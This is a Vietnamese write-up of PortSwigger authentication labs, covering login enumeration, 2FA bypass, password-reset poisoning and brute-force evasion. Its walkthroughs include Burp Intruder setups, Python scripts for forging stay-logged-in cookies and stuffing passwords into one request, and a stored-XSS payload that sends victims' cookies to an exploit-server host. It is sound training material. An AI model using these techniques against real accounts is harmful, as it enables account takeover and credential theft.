# Authentication vulnerabilities
## What are Authentication vulnerabilities
**Authentication** là quá trình xác minh danh tính của người dùng. Điều này làm cho các cơ chế xác thực mạnh mẽ không thể thiếu để bảo mật web hiệu quả.
Có ba loại xác thực chính:
- Một cái gì đó bạn **biết**, chẳng hạn như mật khẩu hoặc câu trả lời cho một câu hỏi bảo mật.
- Một cái gì đó bạn **có**, đây là một đối tượng vật lý như điện thoại di động hoặc mã thông báo bảo mật.
- Một cái gì đó **là bạn hoặc làm gì đó**. Ví dụ, sinh trắc học hoặc mô hình hành vi của bạn.
## What is the difference between authentication and authorization?
Authentication là quá trình xác định đó có phải là bạn không. Authorization là quá trình xác nhận bạn có quyền làm được những gì với tài khoản của bạn.
## How do authentication vulnerabilities arise?
Hầu hết các lỗ hổng trong các cơ chế xác thực xảy ra theo một trong hai cách:
- Các cơ chế xác thực yếu để chống lại brute-force
- Lỗ hổng logic hoặc mã hóa kém trong việc thực hiện cho phép các cơ chế xác thực được bỏ qua hoàn toàn bởi kẻ tấn công. Điều này đôi khi được gọi là **broken authentication**.
## How to secure your authentication
Bất cứ nơi nào có thể, hãy thực hiện xác thực đa yếu tố.
- Thay đổi thông tin xác thực mặc định
- Sử dụng giao thức HTTPS
- Chỉ các request POST nên được sử dụng để truyền thông tin đăng nhập đến máy chủ.
- Thông tin được lưu trữ nên được mã hóa hash hoặc thuật toán bảo mật mật mã.
- Sử dụng thông báo lỗi, giống hệt nhau trên biểu mẫu đăng nhập khi người dùng nhập thông tin đăng nhập không chính xác
## How to detect authentication attacks?
- Theo dõi số lần đăng nhập thất bại liên tiếp từ một địa chỉ IP hoặc tài khoản.
- Kiểm tra các đăng nhập bất thường từ các vị trí địa lý khác nhau trong khoảng thời gian ngắn (Geo-IP analysis).
- Kiểm tra lưu lượng truy cập lớn bất thường vào trang đăng nhập.
- Sử dụng Web Application Firewall (WAF) để chặn các cuộc tấn công tự động.
# Pratice lab
## Username enumeration via different responses
### Target Goal
Bài lab có lỗ hổng về login và bị ảnh hưởng bởi tấn công brute-force. Nó có tài khoản có user và password có thể dự đoán được. Để giải bài lab, tìm username hợp lệ và brute-force password để truy cập vào trang của user đó.
### Analysis and exploit
Truy cập trang web , nhập username/password bất kì và intercept request login đó.

Send to intruder, đặt payload vào giá trị của trường`username` sau đó bắt đầu tiến hành brute-force, ta sẽ thấy có một payload trả về lỗi có giá trị của length khác với wordlist còn lại.

Hình ảnh 2 respond trả về lỗi có sự khác nhau:


Từ việc trả về lỗi trên, ta có thể lợi dụng lỗi này để tìm password. Status code sẽ trả về 302, tương đương với việc login thành công, chuyển hướng sang trang khác. Hoàn thành bài lab.

## 2FA simple bypass
### Target Goal
Bài lab này sử dụng cơ chế 2FA nhưng vẫn bị bypass. Bạn đã có được tên người dùng và mật khẩu hợp lệ, nhưng không có quyền truy cập vào mã xác minh 2FA của người dùng. Để giải quyết phòng thí nghiệm, truy cập trang tài khoản của `Carlos`.
Credentials: `wiener:peter` và `carlos:montoya`
### Analysis and exploit
>2FA (Two-Factor Authentication) là Xác thực hai yếu tố, một phương thức bảo mật yêu cầu người dùng cung cấp hai lớp xác minh trước khi truy cập vào tài khoản hoặc hệ thống.
>- Yếu tố đầu tiên: Thường là mật khẩu hoặc PIN
>- Yếu tố thứ hai: Một phương thức xác minh khác như:
- Mã OTP (gửi qua SMS, email, ứng dụng như Google Authenticator)
- Vân tay, nhận diện khuôn mặt (sinh trắc học)
- Thiết bị bảo mật (USB, thẻ bảo mật)
Theo như bài Lab, chúng ta được cấp thông tin về 2 tài khoản như trên. Khi đăng nhập, trang web yêu cầu mã 2FA được gửi về Email và chỉ khi điền đúng mã này mới log in thành công.

Sau khi đăng nhập thành công, URL xuất hiện thông tin `id=wiener` . Chúng ta cũng biết có 1 tài khoản `id=carlos`, nhưng khi thay đổi thử id sẽ bị đưa lại về trang login.

Tiếp theo thử đăng nhập vào tài khoản nạn nhân `carlos`
URL đã thay đổi từ `/login` thành `/login2`. Có lẽ ta đã đăng nhập vào thành công rồi nhưng thông tin về tài khoản đăng bị chặn và phải được mở khóa bằng mã 2FA.
Nếu đã đăng nhập thành công đổi hướng trang web thành `my-account?id=carlos` sẽ cho phép bypass trực tiếp 2FA.

## Password reset broken logic
### Target Goal
Bài lab này có chức năng reset password và dính lỗ hổng. Để giải bài lab này, reset được mật khẩu của `carlos` và login vào acc này
Credentials: `wiener:peter`
### Analysis and exploit
Khi sử dụng chức năng `/forgot-password` email của ta sẽ có một đường link trả về để đổi mật khẩu. Sau đó điền form đổi mật khẩu mới. Bắt request này ta được ảnh như bên dưới

Thay đổi giá trị trên thành `carlos` sau đó send request. Ta sẽ tạm hiểu là đã gửi 1 gói request để đổi mật khẩu `carlos` thành `a`. Login với cred này và hoàn thành bài lab.

## Username enumeration via subtly different responses
### Target Goal
Để giải được bài lab, tìm đúng thông tin người dùng để truy cập vào acc của nạn nhân.
### Analysis and exploit
Random user, password để bắt được gói tin

Brtue-force user để kiểm tra xem liệu có respone nào khác với còn lại không vì có thể đó là một lỗi để phát hiện được user đúng nhưng password sai

Trong `Burp` có một chức năng grep các element của trang. Dựa vào đây ta sẽ sử dụng nó để ktra xem có error nào khác không

Ở đấy có một error khác với respond còn lại (1 dấu chấm :)) )

Ok, đó là điều tốt, từ đấy brute-force mật khẩu

Cred`guest:thomas`. Hoàn thành bài lab
## Username enumeration via response timing
### Target Goal
Bài lab này có lỗ hổng trong thời gian phản hồi khi xử lý. Để giải bài lab, tìm đúng thông tin người dùng để truy cập vào acc của nạn nhân.
### Analysis and exploit
**Bài này nó cho credentials nhằm mục đích check time-respond của server**
Tuy nhiên 1 vấn đề nữa cần xử lí nữa đó chính là giới hạn nhập password khi nhập sai nhiều lần, từ hint ta có header `X-Forwarded-For` để bypass
> X-Forwarded-For là gì?
>> Đây là một HTTP header được các proxy server hoặc CDN (như Cloudflare) sử dụng để ghi lại địa chỉ IP gốc của client khi request đi qua proxy.
>>Ví dụ, nếu bạn truy cập một website qua proxy, server có thể không thấy IP thật của bạn mà chỉ thấy IP của proxy. Để giải quyết vấn đề này, proxy chèn tiêu đề X-Forwarded-For để lưu IP thật của bạn.
>Cách tấn công hoạt động
Nếu hệ thống tin tưởng giá trị của X-Forwarded-For mà không kiểm tra kỹ, kẻ tấn công có thể thay đổi nó để giả mạo IP của mình và lách qua các kiểm soát bảo mật

Bài lab này dính 2 lỗi đó chính là time-respond và tương tự như bài lab trước đó việc trả về khi đúng username. Có thể thấy time-respond càng ngày càng tăng khi độ dài password tăng do server xử lí đúng username và sau đó nó sẽ xử lí xem pass đúng không. Nếu từ ban đầu username sai, nó sẽ respond luôn là sai và không cần tốn nhiều thời gian để xử lí password nữa
 
Dựa vào trên ta sẽ đi brute-force xem việc trả về này có đúng hay không bằng phương thức `Pitchfork`

Vậy là username sẽ là `agent` tiếp tục brute-fore để láy được status 302 tức là đúng password

Phải sửa thêm `X-Forwarded-For`

## Broken brute-force protection, IP block
### Target Goal
Bài lab có lỗ hổng logic trong việc chống lại brute-force. Để giải bài lab, Brute-Force mật khẩu của nạn nhân, sau đó đăng nhập và truy cập trang tài khoản của họ.
Credential: `wiener:peter`
### Analysis and exploit
**Bài này đã bị chặn ip sau mỗi lần đăng nhập sai và mở block sau mỗi lần đăng nhập thành công**

Sau 3 lần thử sẽ bị block 1 phút, sau đó login thành công thì nó sẽ reset số lần, từ đó ta có một cách đó là sử dụng brtue-force với điều kiện, cứ 2 lần thử sẽ cho 1 lần thành công

Chúng ta sẽ dùng `Pitchfork` và dùng [payload](https://github.com/vanniichan/Portswigger/blob/main/Authen%20Vuln/Lab_6/Lab-6_Payload.py) sử dụng ở trên

Khi brute-force nó sẽ dồn nhiều payload vào 1 request nhất có thể nên sẽ khiến cho vấn đề này xảy ra

Vì vậy chúng ta sẽ set lại cho 1 request 1 lần và nó sẽ xử lí chậm hơn( tức là đúng :) )

Kết quả sau cùng `carlos:cheese`, login và hoàn thành bài lab.

## Username enumeration via account lock
### Target Goal
Bài lab có chức năng block account nhưng lại chứa lỗ hổng logic. Để giải bài lab, Brute-Force mật khẩu của nạn nhân, sau đó đăng nhập và truy cập trang tài khoản của họ.
### Analysis and exploit
Sử dụng chức năng login với username/password bất kì:

Kết quả không có gì đặc biệt.
Lúc này để ý tên bài lab có từ “account lock”, thường thì khi mình đăng nhập vào 1 account trên máy tính và nhập sai mật khẩu quá nhiều lần thì account đó sẽ bị lock khoảng vài phút.
Dựa vào thông tin này, chúng ta có thể thử bruteforce username nhưng chạy lặp lại nhiều lần với mỗi username để tìm ra request trả về response khác với số còn lại.
Gửi request login vừa rồi đến Intruder, đặt payload vào username/password và chọn dạng attack cluster bomb như sau:

Set 1 là simple list chứa các username.

Set 2 là null payload và nhập generate 5 payloads

Trước khi chạy, đảm bảo password không nằm trong list để luôn luôn invalid.
Với setup trên, mỗi username sẽ được thử login 5 lần với password sai, nếu username không có gì đặc biệt thì response sẽ giống nhau (invalid username or password)

Khisername = acid, thay vì invalid , response cho biết chúng ta đã thử sai quá nhiều lần. Có lẽ đây chính là cơ chế account lock, nhưng cũng vô tình để lộ tài khoản nạn nhân.
Tiếp tục bruteforce, lần này do đã biết username nên chỉ cần đặt payload vào password với chế độ tấn công Sniper. Payload set là simple list và sử dụng list password của bài lab.
Trước khi start attack, vào `option` > `Grep - extract` > Add và bôi đậm phần text sau:

Sau 3 lần invalid > account lock > `Too many attemps`. Nhưng khi `password = 123123`, lại không hề có warning nào trong response. Phải chăng đây chính là password đúng.
Đợi khoảng 1 phút cho account lock hết hiệu lực và thử đăng nhập:

## 2FA broken logic
### Target Goal
2FA của bài lab này có lỗ hổng do tiếu logic. Để giải quyết bài lab, phải truy cập vào tài khoản của `carlos`.
Credential: `wiener:peter`
### Analysis and exploit
>2FA (Two-Factor Authentication) là Xác thực hai yếu tố, một phương thức bảo mật yêu cầu người dùng cung cấp hai lớp xác minh trước khi truy cập vào tài khoản hoặc hệ thống.
>- Yếu tố đầu tiên: Thường là mật khẩu hoặc PIN
>- Yếu tố thứ hai: Một phương thức xác minh khác như:
- Mã OTP (gửi qua SMS, email, ứng dụng như Google Authenticator)
- Vân tay, nhận diện khuôn mặt (sinh trắc học)
- Thiết bị bảo mật (USB, thẻ bảo mật)
Sau khi login vào, ta thấy cookie và session được tạo ra. Tuy nhiên cookie này được xác thực bằng cách dùng chính tài khoản của user

Từ trên thử đổi cookie = `carlos`, send request và chắc hơn là xóa cả session thấy được nó không ảnh hưởng đến phiên đăng nhập trước đó và quan trọng nhất là nó vẫn chấp nhận, tức là có thể đăng nhập vào user `carlos` mà không cần mật khẩu

Vậy làm cách nào để không cần vào email của nó để lấy FA code?

Quay trở lại, để user `wiener` có được code thì cần gửi gói POST đến server và ta cũng sẽ làm tương tự với `carlos`. Trước đó việc bypass trang login thì user `carlos` đã nhận được code qua mail.
Giờ chỉ cần brute-force để lấy FA code thông qua status `302` (`302`: điều hướng sang trang account) tức là bypass thành công

`Show respond in browser` , hoàn thành bài lab.

## Brute-forcing a stay-logged-in cookie
### Target Goal
Bài lab này cho phép user lưu phiên đặng nhập mỗi khi họ ắt browser. Cookie được cung cấp lại có lỗ hổng liên quan đến brute-force
Để giải bài lab, brute-force cookie của Carlos và chiếm quyền vào trang của nạn nhân.
### Analysis and exploit
Sau khi bắt gói tin này, ta thấy server cung cấp cookie lưu đăng nhập

Đem ra decode thì có base64 và mã md5


Từ đây brute-force cookie này, tuy nhiên thử lại xem liệu server nhận cookie đặc biệt này và cho login hay không. Và nó nhận :)

Giờ thì brute-force bằng [payload](https://github.com/vanniichan/Portswigger/blob/main/Authen%20Vuln/Lab_9/Lab-9_Payload.py) chuyển password sang md5
:::spoiler Payload
```
import hashlib
import base64
def hash_password_md5(password):
# Sử dụng thuật toán MD5 để mã hóa mật khẩu
hashed_password = hashlib.md5(password.encode()).hexdigest()
return hashed_password
# Đường dẫn tới file chứa danh sách mật khẩu
file_path = "passwords.txt"
# Mở file và đọc danh sách mật khẩu
with open(file_path, "r") as file:
passwords = file.readlines()
# Lặp qua từng mật khẩu, mã hóa và in ra giá trị hash tương ứng
for password in passwords:
password = password.strip() # Loại bỏ các khoảng trắng và ký tự xuống dòng thừa
hashed_password_md5 = hash_password_md5(password)
# Mã hóa chuỗi "carlos:{hashed_password_md5}" sang base64
encoded_string = base64.b64encode(f"carlos:{hashed_password_md5}".encode()).decode()
print(encoded_string)
```
:::
Sau khi gen xong, brute-force để hoàn thành bài lab.

## Offline password cracking
### Target Goal
Bài lab này có server lưu trữ mật khẩu người dùng dưới dạng hash trong cookie. Web app của nó cũng chứa lỗi XSS ở phần comment. Để giải bài lab, lấy được `stay-logged-in` cookie của Carlos và đem đi crack lấy password sau đó login vào trang của nạn nhân.
### Analysis and exploit
Một trong những payload phổ biến để leak cookie và là kỹ thuật khai thác **stored XSS**
>Stored XSS là một loại tấn công XSS trong đó mã độc hại (thường là JavaScript) được lưu trữ vĩnh viễn trên máy chủ của ứng dụng web. Khi người dùng truy cập vào trang web bị nhiễm, mã độc sẽ được thực thi trong trình duyệt của họ mà không cần bất kỳ hành động nào từ phía họ.
:::spoiler payload
```
<script>document.location='//YOUR-EXPLOIT-SERVER-ID.exploit-server.net/'+document.cookie</script>
```
:::
Gưỉ payload đến server auto click

Sau đó lấy được password, sử dụg [crackstation](https://crackstation.net/)để crack mật khẩu.

`carlos:onceuponatime`

## Password reset poisoning via middleware
### Target Goal
Bài lab này có lỗ hổng trong việc reset password. Người dùng `carlos` sẽ click vào bất cứ link nào mà xuất hiện trên email. Để giải bài lab, login vào tài khoản nạn nhân
Credentials: `wiener:peter`
### Analysis and exploit
Bài lab này dựa vào `forgot-password` để khai thác

Ở đây có 1 token phía back-end gửi về để xác định ai là người yêu cầu. Do đó chúng ta cần nghĩ cách làm sao để lấy được token này

Sử dụng `X-Forwared-Host`, mục đích là để server gửi respond về server khai thác của mình.
> X-Forwarded-Host là một HTTP header được sử dụng để chỉ định host ban đầu của một request khi nó đi qua một proxy ngược (reverse proxy) hoặc load balancer. Header này giúp các ứng dụng web hiểu được tên miền gốc mà client thực sự sử dụng để truy cập vào trang web.
>> Cách hoạt động của X-Forwarded-Host
- Khi một request HTTP đi qua một proxy/nginx/load balancer, host ban đầu có thể bị thay đổi hoặc bị ẩn.
- Proxy/nginx sẽ thêm header X-Forwarded-Host để bảo toàn thông tin về host gốc.
- Server backend có thể đọc header này để xác định tên miền thực tế mà client đã truy cập.

Thay username = `carlos`

Quay về exploit server để bắt được gói tin như bên dưới và lấy được token reset


Login và hoàn thành bài lab.
## Password brute-force via password change
### Target Goal
Bài lab có chế độ đổi mật khẩu bị lỗ hổng bởi brute-force attack. Để giải bài lab, login được vào page của `Carlos`.
### Analysis and exploit
Sau khi đăng nhập vào tài khoản `wiener` được cấp, dễ dàng nhận thấy chức năng `Change password`:

Thử đổi mật khẩu của bản thân thành 1234 và bắt request này trên BurpSuite:

Trong request gửi đi có tham số `username=wiener`, chúng ta hoán toàn có thể đổi thành `carlos` . Nói cách khác chức năng này cho phép thay đổi cả username để đổi password mà không cần đăng nhập.
Sau khi nghịch 1 chút với chức năng này thì có 2 điều cần lưu ý:
- Nếu current password sai thì kết quả trả về đương nhiên là `Incorrect current password`.

- Nhưng nếu password đúng mà 2 new password không trùng nhau thì kết quả sẽ là:

Mà bài lab có cung cấp 1 list các Candidate Password, do đó chúng ta có thể:
Từ BurpIntruder: Đổi username thành `carlos` -> nhập 2 new password khác nhau -> Bruteforce password -> `Grep response` có chứa chuỗi `New passwords do not match`
Set up:


Bruteforce completed

Với password là `123qwe` đã trả về kết quả chúng ta mong muốn. Sử dụng mật khẩu đó đăng nhập tài khoản `carlos` để hoàn thành bài lab.
## Broken brute-force protection, multiple credentials per request
### Target Goal
Bài lab có lỗ hổng login về việc bảo vệ chống brute-force. Để giải bài lab, brute-force password của `Carlos` và login thành công vào page nạn nhân.
### Analysis and exploit
Bài này login vào có 1 số điểm cần lưu ý:
- Cách truyền tham số username và password là dạng json
- Login không dựa vào username nữa, sau 3 lần là lock acc
- Thử `X-Forwarded-For` cũng sau 3 lần bị lock

Từ lưu ý trên, sẽ ra sao nếu ta nhồi 100 mật khẩu vào cùng 1 request. Sử dụng Payload dưới để ốp vào
:::spoiler Payload
```
print("[", end='')
with open('passwords.txt', 'r') as f:
lines = f.readlines()
for pwd in lines:
print('"' + pwd.rstrip("\n") + '",', end='')
print('"random"]', end='')
```
:::

Nhận được respond:

Mặc dù không biết được password nhưng con web bị lỗi logic khiến cho ta vẫn có thể login vào mà k cần pass. Hoàn thành bài lab.
## 2FA bypass using a brute-force attack
### Target Goal
Bài lab có cơ chế 2FA nhưng bị lỗ hổng bởi brute-force. Kịch bản là bạn đã có username và password nhưng không có quyền để verify code 2FA. Để giải bài lab, brute-force 2FA code và login thành công vào máy nạn nhân.
Credentials: `carlos:montoya`
### Analysis and exploit
Bài lab này dựa theo kịch bản bị lộ username và password tuy nhiên phải cần 2FA mới có thể vào acc, và điều hay ở đây là sau khi nhập sai 2 lần nó sẽ tự động logout. Thêm nữa, việc lặp đi lặp lại này không bị block acc. Do đó càng có thể dễ dàng để brute-force hơn

Như đã nói ở trên, ta có thể lặp đi lặp lại các thao tác để có thể lấy được 2FA. 1 vài setting

Ta sẽ băt 3 gói tin theo thứ tự:
1. Gói `GET` đầu nhận thông tin vào trang login
2. Gói `POST` điền thông tin user vào
3. Gói `GET` cuối để vào trang nhập 2FA

Cuối cùng là set cho nó chạy từng request 1:

Tiếp theo là ngồi đợi =)), khá lâu trung bình hơn 1 tiếng

`Show response in browser` để hoàn thành bài lab:
